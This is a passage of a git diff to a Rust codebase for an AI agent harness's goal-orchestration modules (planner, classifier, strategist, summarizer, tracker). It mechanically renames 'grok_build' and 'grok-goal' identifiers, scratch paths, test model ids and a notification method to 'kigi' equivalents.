+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentRequest, SubagentRuntimeOverrides,
         };
         let (result_tx, result_rx) = tokio::sync::oneshot::channel();
@@ -2355,7 +2355,7 @@ mod tests {
 
     #[tokio::test]
     async fn channel_spawner_request_is_harness_internal() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
@@ -2402,7 +2402,7 @@ mod tests {
     /// SAME model — i.e. skeptic-0 keeps `pool[0]` on the cold fallback.
     #[tokio::test]
     async fn channel_spawner_applies_per_index_model_to_request() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
@@ -2470,7 +2470,7 @@ mod tests {
     /// `None` — the historic default-spawn behavior.
     #[tokio::test]
     async fn channel_spawner_inherit_index_leaves_model_none() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
             event_tx: tx,
@@ -2514,7 +2514,7 @@ mod tests {
         let mac_like = Path::new("/var/folders/zz/T");
         assert!(
             validate_details_path_in_root(
-                Path::new("/var/folders/zz/T/grok-goal-abc/goal-classifier-abc-1.md"),
+                Path::new("/var/folders/zz/T/kigi-goal-abc/goal-classifier-abc-1.md"),
                 mac_like,
             )
             .is_ok(),
@@ -2527,7 +2527,7 @@ mod tests {
         );
         assert!(
             validate_details_path_in_root(
-                Path::new("/tmp/grok-goal-abc/goal-classifier-abc-1.md"),
+                Path::new("/tmp/kigi-goal-abc/goal-classifier-abc-1.md"),
                 Path::new("/tmp"),
             )
             .is_ok(),
@@ -3478,10 +3478,10 @@ mod tests {
         ]);
         assert_eq!(a, b, "scratch-path churn must not break the fingerprint");
         let c = gap_fingerprint(&[
-            "no captured output in /var/folders/x1/T/grok-goal-1/out.log for criterion 2",
+            "no captured output in /var/folders/x1/T/kigi-goal-1/out.log for criterion 2",
         ]);
         let d = gap_fingerprint(&[
-            "no captured output in /var/folders/x1/T/grok-goal-2/out.log for criterion 2",
+            "no captured output in /var/folders/x1/T/kigi-goal-2/out.log for criterion 2",
         ]);
         assert_eq!(c, d);
         // Genuinely different gaps still differ.
@@ -3908,7 +3908,7 @@ mod tests {
     /// renders leave no tool placeholder unresolved.
     #[test]
     fn verifier_template_renders_per_agent_type_and_falls_back() {
-        use kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary;
+        use kigi_tools::implementations::kigi::task::types::SubagentTypeSummary;
         let mut tool_names = std::collections::HashMap::new();
         tool_names.insert(
             kigi_tools::types::tool::ToolKind::Read,
@@ -3941,14 +3941,14 @@ mod tests {
         );
         assert_no_tool_placeholders(&cursor);
 
-        // grok-build explicit render: no leftover placeholder either.
-        let grok = RoleToolNames::from_summary(&summary_with(&[
+        // kigi explicit render: no leftover placeholder either.
+        let kigi = RoleToolNames::from_summary(&summary_with(&[
             (kigi_tools::types::tool::ToolKind::Read, "read_file"),
             (kigi_tools::types::tool::ToolKind::ListDir, "list_dir"),
             (kigi_tools::types::tool::ToolKind::Search, "grep"),
         ]))
         .apply(GOAL_VERIFIER_PROMPT_TEMPLATE);
-        assert_no_tool_placeholders(&grok);
+        assert_no_tool_placeholders(&kigi);
 
         // Fallback path (e.g. `describe_subagent_type` ⇒ `Unavailable`): the
         // parent-toolset defaults render and no placeholder survives.
@@ -4123,8 +4123,8 @@ mod tests {
             "/tmp/goal-verifier-details-x-1-0.md",
             "/tmp/goal-verdict-x-1-0.json",
             kind_lens(Some(GoalKind::CodeChange)),
-            "/tmp/grok-goal-x/skeptic-0",
-            "/tmp/grok-goal-x/implementer",
+            "/tmp/kigi-goal-x/skeptic-0",
+            "/tmp/kigi-goal-x/implementer",
             None,
             &RoleToolNames::inherit_defaults(),
             true,
@@ -4136,8 +4136,8 @@ mod tests {
         );
         // The skeptic's own scratch dir AND the implementer-scratch
         // awareness line are both present, with no dangling placeholder.
-        assert!(body.contains("/tmp/grok-goal-x/skeptic-0"));
-        assert!(body.contains("/tmp/grok-goal-x/implementer"));
+        assert!(body.contains("/tmp/kigi-goal-x/skeptic-0"));
+        assert!(body.contains("/tmp/kigi-goal-x/implementer"));
         assert!(
             !body.contains("{SKEPTIC_SCRATCH}") && !body.contains("{IMPLEMENTER_SCRATCH}"),
             "scratch placeholders must be substituted:\n{body}"
@@ -4154,8 +4154,8 @@ mod tests {
             "/tmp/goal-verifier-details-x-1-0.md",
             "/tmp/goal-verdict-x-1-0.json",
             kind_lens(None),
-            "/tmp/grok-goal-x/skeptic-1",
-            "/tmp/grok-goal-x/implementer",
+            "/tmp/kigi-goal-x/skeptic-1",
+            "/tmp/kigi-goal-x/implementer",
             None,
             &RoleToolNames::inherit_defaults(),
             true,
@@ -4181,8 +4181,8 @@ mod tests {
                 "/tmp/goal-verifier-details-x-1-0.md",
                 "/tmp/goal-verdict-x-1-0.json",
                 kind_lens(Some(GoalKind::CodeChange)),
-                "/tmp/grok-goal-x/skeptic-0",
-                "/tmp/grok-goal-x/implementer",
+                "/tmp/kigi-goal-x/skeptic-0",
+                "/tmp/kigi-goal-x/implementer",
                 None,
                 &RoleToolNames::inherit_defaults(),
                 scratch_ready,
@@ -4232,8 +4232,8 @@ mod tests {
                 "/tmp/goal-verifier-details-x-2-1.md",
                 "/tmp/goal-verdict-x-2-1.json",
                 kind_lens(Some(GoalKind::CodeChange)),
-                "/tmp/grok-goal-x/skeptic-1",
-                "/tmp/grok-goal-x/implementer",
+                "/tmp/kigi-goal-x/skeptic-1",
+                "/tmp/kigi-goal-x/implementer",
                 prior,
                 &RoleToolNames::inherit_defaults(),
                 true,
@@ -4266,8 +4266,8 @@ mod tests {
             "/tmp/goal-classifier-x-2-skeptic-0.md",
             "/tmp/goal-verdict-x-2-0.json",
             kind_lens(Some(GoalKind::CodeChange)),
-            "/tmp/grok-goal-x/skeptic-0",
-            "/tmp/grok-goal-x/implementer",
+            "/tmp/kigi-goal-x/skeptic-0",
+            "/tmp/kigi-goal-x/implementer",
             None,
             &RoleToolNames::inherit_defaults(),
             true,
@@ -4289,8 +4289,8 @@ mod tests {
         assert!(body.contains("/tmp/goal-verdict-x-2-0.json"));
         assert!(body.contains("/tmp/goal-classifier-x-2-skeptic-0.md"));
         // Scratch dirs: own + implementer-awareness, both substituted.
-        assert!(body.contains("/tmp/grok-goal-x/skeptic-0"));
-        assert!(body.contains("/tmp/grok-goal-x/implementer"));
+        assert!(body.contains("/tmp/kigi-goal-x/skeptic-0"));
+        assert!(body.contains("/tmp/kigi-goal-x/implementer"));
         assert!(
             !body.contains("{KIND_LENS}")
                 && !body.contains("{DETAILS_FILE}")
@@ -4649,11 +4649,11 @@ mod tests {
             workspace_root,
             verifier_id,
             attempt,
-            model_id: "grok-test",
+            model_id: "kigi-test",
             goal_created_at: 0,
             plan_file: None,
             plan_baseline_file: None,
-            implementer_scratch_dir: Path::new("/tmp/grok-goal-test/implementer"),
+            implementer_scratch_dir: Path::new("/tmp/kigi-goal-test/implementer"),
             scratch_dir_ready: true,
             skeptic_count,
             max_runs: GOAL_CLASSIFIER_MAX_RUNS_DEFAULT,
@@ -4747,7 +4747,7 @@ mod tests {
         // and this skeptic's own dir (derived from verifier_id) are both
         // present; neither placeholder leaks.
         assert!(
-            p.contains("/tmp/grok-goal-test/implementer"),
+            p.contains("/tmp/kigi-goal-test/implementer"),
             "implementer scratch dir missing in prompt",
         );
         assert!(
@@ -5676,7 +5676,7 @@ mod tests {
     /// `runtime_overrides.model`.
     #[tokio::test]
     async fn cold_fallback_after_resume_failure_carries_pool0_model_on_request() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         use std::sync::Mutex as StdMutex;
 
         // (model, resume_from) per spawn, in spawn order.
@@ -6068,7 +6068,7 @@ mod tests {
 
     #[tokio::test]
     async fn channel_spawner_blocks_until_subagent_result() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (event_tx, mut event_rx) = tokio::sync::mpsc::unbounded_channel();
         let release = Arc::new(Notify::new());
@@ -6328,7 +6328,7 @@ mod tests {
             verifier_id: &vid,
             attempt: 1,
             kind_lens: "",
-            implementer_scratch: "/tmp/grok-goal-test/implementer",
+            implementer_scratch: "/tmp/kigi-goal-test/implementer",
             scratch_dir_ready: true,
             prior_gaps: None,
         };
diff --git a/crates/codegen/kigi-shell/src/session/goal_classifier/evidence.rs b/crates/codegen/kigi-shell/src/session/goal_classifier/evidence.rs
index e172e86..b08fd27 100644
--- a/crates/codegen/kigi-shell/src/session/goal_classifier/evidence.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_classifier/evidence.rs
@@ -1421,7 +1421,7 @@ mod tests {
 
     #[test]
     fn evidence_packet_plan_path_with_spaces_and_unicode_round_trips() {
-        let plan = "/tmp/grok sessions/✓ goal/plan.md";
+        let plan = "/tmp/kigi sessions/✓ goal/plan.md";
         let packet = build_classifier_evidence_packet(
             "obj",
             ChangesRef::Unavailable,
diff --git a/crates/codegen/kigi-shell/src/session/goal_orchestrator.rs b/crates/codegen/kigi-shell/src/session/goal_orchestrator.rs
index 059bfa9..7e6bb65 100644
--- a/crates/codegen/kigi-shell/src/session/goal_orchestrator.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_orchestrator.rs
@@ -104,7 +104,7 @@ impl GoalNotifySender {
         }
         if let Some(raw) = raw {
             let ext = agent_client_protocol::ExtNotification::new(
-                "x.ai/session_notification",
+                "kigi/session_notification",
                 raw.into(),
             );
             self.gateway.forward_fire_and_forget(ext);
@@ -432,7 +432,7 @@ mod tests {
         // — the wire field stays empty so the doc contract holds and we
         // don't ship a 1-element vec the pager would collapse anyway.
         let mut o = make_base_orchestration();
-        o.live_tokens_by_model = vec![("grok-4".into(), 5_000)];
+        o.live_tokens_by_model = vec![("kigi-4".into(), 5_000)];
         match build_goal_updated(&o, 0, 0) {
             XaiSessionUpdate::GoalUpdated {
                 live_tokens_by_model,
@@ -445,14 +445,14 @@ mod tests {
         }
 
         // ≥2 distinct models are transmitted verbatim.
-        o.live_tokens_by_model = vec![("grok-4".into(), 5_000), ("grok-3".into(), 3_000)];
+        o.live_tokens_by_model = vec![("kigi-4".into(), 5_000), ("kigi-3".into(), 3_000)];
         match build_goal_updated(&o, 0, 0) {
             XaiSessionUpdate::GoalUpdated {
                 live_tokens_by_model,
                 ..
             } => assert_eq!(
                 live_tokens_by_model,
-                vec![("grok-4".to_owned(), 5_000), ("grok-3".to_owned(), 3_000)]
+                vec![("kigi-4".to_owned(), 5_000), ("kigi-3".to_owned(), 3_000)]
             ),
             _ => panic!("expected GoalUpdated"),
         }
diff --git a/crates/codegen/kigi-shell/src/session/goal_planner.rs b/crates/codegen/kigi-shell/src/session/goal_planner.rs
index d40dd6b..8cca3d2 100644
--- a/crates/codegen/kigi-shell/src/session/goal_planner.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_planner.rs
@@ -21,7 +21,7 @@ use std::sync::Arc;
 /// and the parent-side `describe_subagent_type` probe so the gated/probed
 /// toolset matches the spawned one.
 ///
-/// [`SubagentRuntimeOverrides::harness_agent_type`]: kigi_tools::implementations::grok_build::task::types::SubagentRuntimeOverrides::harness_agent_type
+/// [`SubagentRuntimeOverrides::harness_agent_type`]: kigi_tools::implementations::kigi::task::types::SubagentRuntimeOverrides::harness_agent_type
 pub(crate) const GOAL_ROLE_SUBAGENT_TYPE: &str = "general-purpose";
 
 /// Resolved per-role spawn override.
@@ -36,7 +36,7 @@ pub(crate) const GOAL_ROLE_SUBAGENT_TYPE: &str = "general-purpose";
 pub(crate) struct RoleSpawnOverride {
     /// Resolved, post-auth, post-fail-open model id, or `None` to inherit.
     pub model: Option<String>,
-    /// Resolved harness `agent_type` (e.g. `"grok-build-plan"`)
+    /// Resolved harness `agent_type` (e.g. `"kigi-plan"`)
     /// whose `AgentDefinition` decides the spawned subagent's harness flavor
     /// (system prompt + toolset), applied REGARDLESS of the
     /// parent agent. `None` ⇒ inherit the session harness. NOT a subagent type —
@@ -254,7 +254,7 @@ pub(crate) fn parse_terminal_response(text: &str) -> bool {
 
 pub(crate) struct ChannelSpawner {
     pub(crate) event_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+        kigi_tools::implementations::kigi::task::types::SubagentEvent,
     >,
     pub(crate) parent_session_id: String,
     pub(crate) parent_prompt_id: Option<String>,
@@ -299,7 +299,7 @@ impl ChannelSpawner {
         model: Option<String>,
         harness_agent_type: Option<String>,
     ) -> Result<String, SpawnError> {
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentRequest, SubagentRuntimeOverrides,
         };
         let (result_tx, result_rx) = tokio::sync::oneshot::channel();
@@ -499,7 +499,7 @@ mod tests {
     #[test]
     fn planner_template_default_render_preserves_wording_and_has_no_placeholders() {
         // Default/inherit render: placeholders resolve to the literal parent
-        // (grok-build) tool names; guards against accidental wording drift.
+        // (kigi) tool names; guards against accidental wording drift.
         let rendered = RoleToolNames::inherit_defaults().apply(GOAL_PLANNER_PROMPT_TEMPLATE);
         assert!(
             rendered.contains("with your\n`read_file`/`grep`/`list_dir` tools to clarify scope"),
@@ -597,7 +597,7 @@ mod tests {
 
     #[tokio::test]
     async fn channel_spawner_request_is_harness_internal() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
@@ -740,7 +740,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -769,7 +769,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -804,7 +804,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -846,7 +846,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -888,7 +888,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -927,7 +927,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -953,7 +953,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -990,7 +990,7 @@ mod tests {
                 context: "prior conversation\n",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -1197,7 +1197,7 @@ mod tests {
     /// request's `harness_agent_type`, not the subagent_type.
     #[tokio::test]
     async fn channel_spawner_threads_harness_override_to_request() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
             event_tx: tx,
@@ -1494,7 +1494,7 @@ mod tests {
     /// `ChannelSpawner` whose explicit spawn fails still returns `Planned`.
     #[tokio::test]
     async fn planner_retries_to_inherit_instead_of_failing_closed() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         let plan_file = tmp_plan_file("retry-failopen");
         let plan_for_coord = plan_file.clone();
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
@@ -1540,7 +1540,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
@@ -1561,7 +1561,7 @@ mod tests {
     /// fail-CLOSED cancellation semantics.
     #[tokio::test]
     async fn planner_cancellation_pauses_as_aborted_without_retry() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         use std::sync::atomic::{AtomicUsize, Ordering};
         let plan_file = tmp_plan_file("cancel-aborted");
         let spawns = Arc::new(AtomicUsize::new(0));
@@ -1601,7 +1601,7 @@ mod tests {
                 context: "",
                 plan_file: &plan_file,
                 attempt: 1,
-                model_id: "grok-test",
+                model_id: "kigi-test",
                 tool_names: &RoleToolNames::inherit_defaults(),
                 inherit_tool_names: &RoleToolNames::inherit_defaults(),
             },
diff --git a/crates/codegen/kigi-shell/src/session/goal_role_tools.rs b/crates/codegen/kigi-shell/src/session/goal_role_tools.rs
index c8a8490..bfa2ceb 100644
--- a/crates/codegen/kigi-shell/src/session/goal_role_tools.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_role_tools.rs
@@ -40,7 +40,7 @@ pub(crate) struct RoleToolNames {
     /// `{SEARCH_TOOL}` — `ToolKind::Search` (grep maps here).
     pub search: String,
     /// `{WRITE_TOOL}` — `ToolKind::Write`, falling back to `ToolKind::Edit`
-    /// (the default grok-build host's `search_replace` mutator) when `Write`
+    /// (the default kigi host's `search_replace` mutator) when `Write`
     /// is absent from the describe summary.
     pub write: String,
     /// `{EXECUTE_TOOL}` — `ToolKind::Execute` (terminal/bash maps here).
@@ -99,7 +99,7 @@ impl RoleToolNames {
     /// `{WRITE_TOOL}` falls back to the parent `Edit` tool name when the bridge
     /// has no `Write` — mirroring [`Self::from_summary`], so the inherit / retry
     /// render names the same mutator the subagent actually exposes (e.g.
-    /// `search_replace` on the default grok-build host) instead of the literal
+    /// `search_replace` on the default kigi host) instead of the literal
     /// `write` default. No `{TOOLSET_TOOLS}` enumeration on the inherit path.
     pub(crate) fn from_parent(
         read: Option<String>,
@@ -127,14 +127,14 @@ impl RoleToolNames {
     /// summary (the `name_override`-aware client name per kind), and
     /// `{TOOLSET_TOOLS}` enumerates the toolset.
     pub(crate) fn from_summary(
-        summary: &kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary,
+        summary: &kigi_tools::implementations::kigi::task::types::SubagentTypeSummary,
     ) -> Self {
         let get = |kind: ToolKind| summary.tool_names.get(&kind).cloned();
         Self::from_parts(
             get(ToolKind::Read),
             get(ToolKind::ListDir),
             get(ToolKind::Search),
-            // The default grok-build host's pre-spawn describe probe exposes only
+            // The default kigi host's pre-spawn describe probe exposes only
             // `Edit` (`search_replace`) as the file mutator — the injection-only
             // `write`/`Write` tool is absent there. Without this fallback
             // `{WRITE_TOOL}` would render the literal `write` default instead of
@@ -264,7 +264,7 @@ fn enumerate_toolset_tools(tool_names: &std::collections::HashMap<ToolKind, Stri
 #[cfg(test)]
 pub(crate) mod tests {
     use super::*;
-    use kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary;
+    use kigi_tools::implementations::kigi::task::types::SubagentTypeSummary;
 
     /// Build a `SubagentTypeSummary` from `(ToolKind, name)` pairs for the
     /// per-agent_type rendering tests. Shared with the planner / classifier /
@@ -312,8 +312,8 @@ pub(crate) mod tests {
     }
 
     #[test]
-    fn from_summary_uses_grok_build_names() {
-        // A grok-build toolset: client names match the literal defaults.
+    fn from_summary_uses_kigi_names() {
+        // A kigi toolset: client names match the literal defaults.
         let tn = RoleToolNames::from_summary(&summary_with(&[
             (ToolKind::Read, "read_file"),
             (ToolKind::ListDir, "list_dir"),
@@ -379,7 +379,7 @@ pub(crate) mod tests {
     fn web_tools_fall_back_when_absent_from_the_toolset() {
         // A summary / parent bridge without WebSearch/WebFetch ⇒ both resolve to
         // the stock client names, so the planner prompt still names a real tool
-        // on the default grok-build host (the stock `web_search`/`web_fetch`).
+        // on the default kigi host (the stock `web_search`/`web_fetch`).
         let summary = RoleToolNames::from_summary(&summary_with(&[(ToolKind::Read, "rd")]));
         assert_eq!(summary.web_search, "web_search");
         assert_eq!(summary.web_fetch, "web_fetch");
@@ -389,8 +389,8 @@ pub(crate) mod tests {
     }
 
     #[test]
-    fn from_summary_write_falls_back_to_edit_on_default_grok_build_host() {
-        // Default grok-build host: the pre-spawn describe probe exposes only
+    fn from_summary_write_falls_back_to_edit_on_default_kigi_host() {
+        // Default kigi host: the pre-spawn describe probe exposes only
         // `Edit` (`search_replace`); `Write` is injection-only and absent. The
         // planner gate accepts this toolset, so `{WRITE_TOOL}` must name the
         // real mutator (`search_replace`), not the literal `write` default.
@@ -415,7 +415,7 @@ pub(crate) mod tests {
 
     #[test]
     fn from_parent_write_falls_back_to_edit_when_bridge_has_no_write() {
-        // Default grok-build parent bridge: no `Write`, only `Edit`
+        // Default kigi parent bridge: no `Write`, only `Edit`
         // (`search_replace`). The inherit / fail-open render must name the
         // real mutator, not the literal `write` default — matching
         // `from_summary`'s primary render.
@@ -510,10 +510,10 @@ pub(crate) mod tests {
     }
 
     #[test]
-    fn parent_and_summary_renders_agree_on_default_grok_build_mutator() {
+    fn parent_and_summary_renders_agree_on_default_kigi_mutator() {
         // The explicit-pair `primary` (from_summary) and inherit/fail-open
         // `fallback` (from_parent) renders must name the SAME mutator on the
-        // default grok-build host (Edit-only toolset), so a fail-open retry
+        // default kigi host (Edit-only toolset), so a fail-open retry
         // can never disagree with the first attempt's `{WRITE_TOOL}`.
         let primary = RoleToolNames::from_summary(&summary_with(&[
             (ToolKind::Read, "read_file"),
diff --git a/crates/codegen/kigi-shell/src/session/goal_strategist.rs b/crates/codegen/kigi-shell/src/session/goal_strategist.rs
index 4f955f0..eb0ba81 100644
--- a/crates/codegen/kigi-shell/src/session/goal_strategist.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_strategist.rs
@@ -107,7 +107,7 @@ pub(crate) fn strategist_should_fire(consecutive: u32, last_fired: u32, every: u
 
 pub(crate) struct ChannelSpawner {
     pub(crate) event_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+        kigi_tools::implementations::kigi::task::types::SubagentEvent,
     >,
     pub(crate) parent_session_id: String,
     pub(crate) parent_prompt_id: Option<String>,
@@ -152,7 +152,7 @@ impl ChannelSpawner {
         model: Option<String>,
         harness_agent_type: Option<String>,
     ) -> Result<String, SpawnError> {
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentRequest, SubagentRuntimeOverrides,
         };
         let (result_tx, result_rx) = tokio::sync::oneshot::channel();
@@ -541,7 +541,7 @@ mod tests {
 
     #[tokio::test]
     async fn channel_spawner_request_is_harness_internal() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
@@ -580,7 +580,7 @@ mod tests {
     /// request's `harness_agent_type`, not the subagent_type.
     #[tokio::test]
     async fn channel_spawner_threads_harness_override_to_request() {
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
             event_tx: tx,
@@ -809,7 +809,7 @@ mod tests {
             attempt: 3,
             consecutive_failures: 5,
             every: 2,
-            model_id: "grok-test",
+            model_id: "kigi-test",
             tool_names: default_tool_names(),
             inherit_tool_names: default_tool_names(),
         }
@@ -1210,7 +1210,7 @@ mod tests {
     use crate::session::goal_role_tools::tests::assert_no_tool_placeholders;
 
     /// Default/inherit render: the tool placeholders resolve to the literal
-    /// parent (grok-build) names, with no placeholder left behind. Guards
+    /// parent (kigi) names, with no placeholder left behind. Guards
     /// against accidental wording drift in the strategist template.
     #[test]
     fn strategist_template_default_render_preserves_wording() {
@@ -1229,7 +1229,7 @@ mod tests {
     /// explicit `from_summary` path leaves no tool placeholder unresolved.
     #[test]
     fn strategist_template_renders_per_agent_type_names() {
-        use kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary;
+        use kigi_tools::implementations::kigi::task::types::SubagentTypeSummary;
         let mut tool_names = std::collections::HashMap::new();
         tool_names.insert(
             kigi_tools::types::tool::ToolKind::Read,
diff --git a/crates/codegen/kigi-shell/src/session/goal_summarizer.rs b/crates/codegen/kigi-shell/src/session/goal_summarizer.rs
index 0849769..af6a5f9 100644
--- a/crates/codegen/kigi-shell/src/session/goal_summarizer.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_summarizer.rs
@@ -82,7 +82,7 @@ pub(crate) trait GoalSummarizerSpawner: Send + Sync {
 
 pub(crate) struct ChannelSpawner {
     pub(crate) event_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+        kigi_tools::implementations::kigi::task::types::SubagentEvent,
     >,
     pub(crate) parent_session_id: String,
     pub(crate) parent_prompt_id: Option<String>,
@@ -129,7 +129,7 @@ impl ChannelSpawner {
         harness_agent_type: Option<String>,
     ) -> Result<String, SpawnError> {
         use kigi_tool_types::SubagentCapabilityMode;
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentRequest, SubagentRuntimeOverrides,
         };
         let (result_tx, result_rx) = tokio::sync::oneshot::channel();
@@ -342,7 +342,7 @@ mod tests {
             .replace("{DETAILS_FILE}", &details_str)
             .replace("{SESSION_TRACES_DIR}", &traces_dir_str);
         let rendered = RoleToolNames::inherit_defaults().apply(&with_paths);
-        // §7 tool placeholders resolve to the default grok-build names.
+        // §7 tool placeholders resolve to the default kigi names.
         assert!(rendered.contains("read_file"));
         assert!(rendered.contains("grep"));
         assert!(rendered.contains("list_dir"));
@@ -422,7 +422,7 @@ mod tests {
             details_file: None,
             session_traces_dir: plan.parent().unwrap(),
             attempt: 2,
-            model_id: "grok-test",
+            model_id: "kigi-test",
             tool_names,
         }
     }
@@ -604,7 +604,7 @@ mod tests {
     #[tokio::test]
     async fn channel_spawner_request_is_harness_internal_and_read_only() {
         use kigi_tool_types::SubagentCapabilityMode;
-        use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+        use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         let spawner = ChannelSpawner {
diff --git a/crates/codegen/kigi-shell/src/session/goal_tracker.rs b/crates/codegen/kigi-shell/src/session/goal_tracker.rs
index d4ee0e2..d87c34d 100644
--- a/crates/codegen/kigi-shell/src/session/goal_tracker.rs
+++ b/crates/codegen/kigi-shell/src/session/goal_tracker.rs
@@ -252,7 +252,7 @@ impl GoalHistoryEntry {
 // GoalOrchestration (full persisted state)
 
 /// Generate a short opaque identifier used to scope the per-goal
-/// scratch root (`<temp_dir>/grok-goal-<id>`) and the verifier
+/// scratch root (`<temp_dir>/kigi-goal-<id>`) and the verifier
 /// verdict/details files inside it.
 ///
 /// The id is a 12-char prefix of a UUIDv4 simple form — ~48 bits of
@@ -267,13 +267,13 @@ pub(crate) fn generate_verifier_id() -> String {
     s
 }
 
-/// Private per-goal scratch root: `<temp_dir>/grok-goal-<verifier_id>`.
+/// Private per-goal scratch root: `<temp_dir>/kigi-goal-<verifier_id>`.
 ///
 /// Rooted at [`std::env::temp_dir`] (respects `TMPDIR`) and namespaced by the
 /// goal's `verifier_id`, so concurrent goals never collide and cleanup of one
 /// never touches another. Removed wholesale on every terminal goal transition.
 pub(crate) fn goal_scratch_root(verifier_id: &str) -> PathBuf {
-    std::env::temp_dir().join(format!("grok-goal-{verifier_id}"))
+    std::env::temp_dir().join(format!("kigi-goal-{verifier_id}"))
 }
 
 /// Create (or verify) the goal's scratch root, locked to the owner
@@ -1646,7 +1646,7 @@ mod tests {
     /// fresh values on every call. The fixed length is part of the
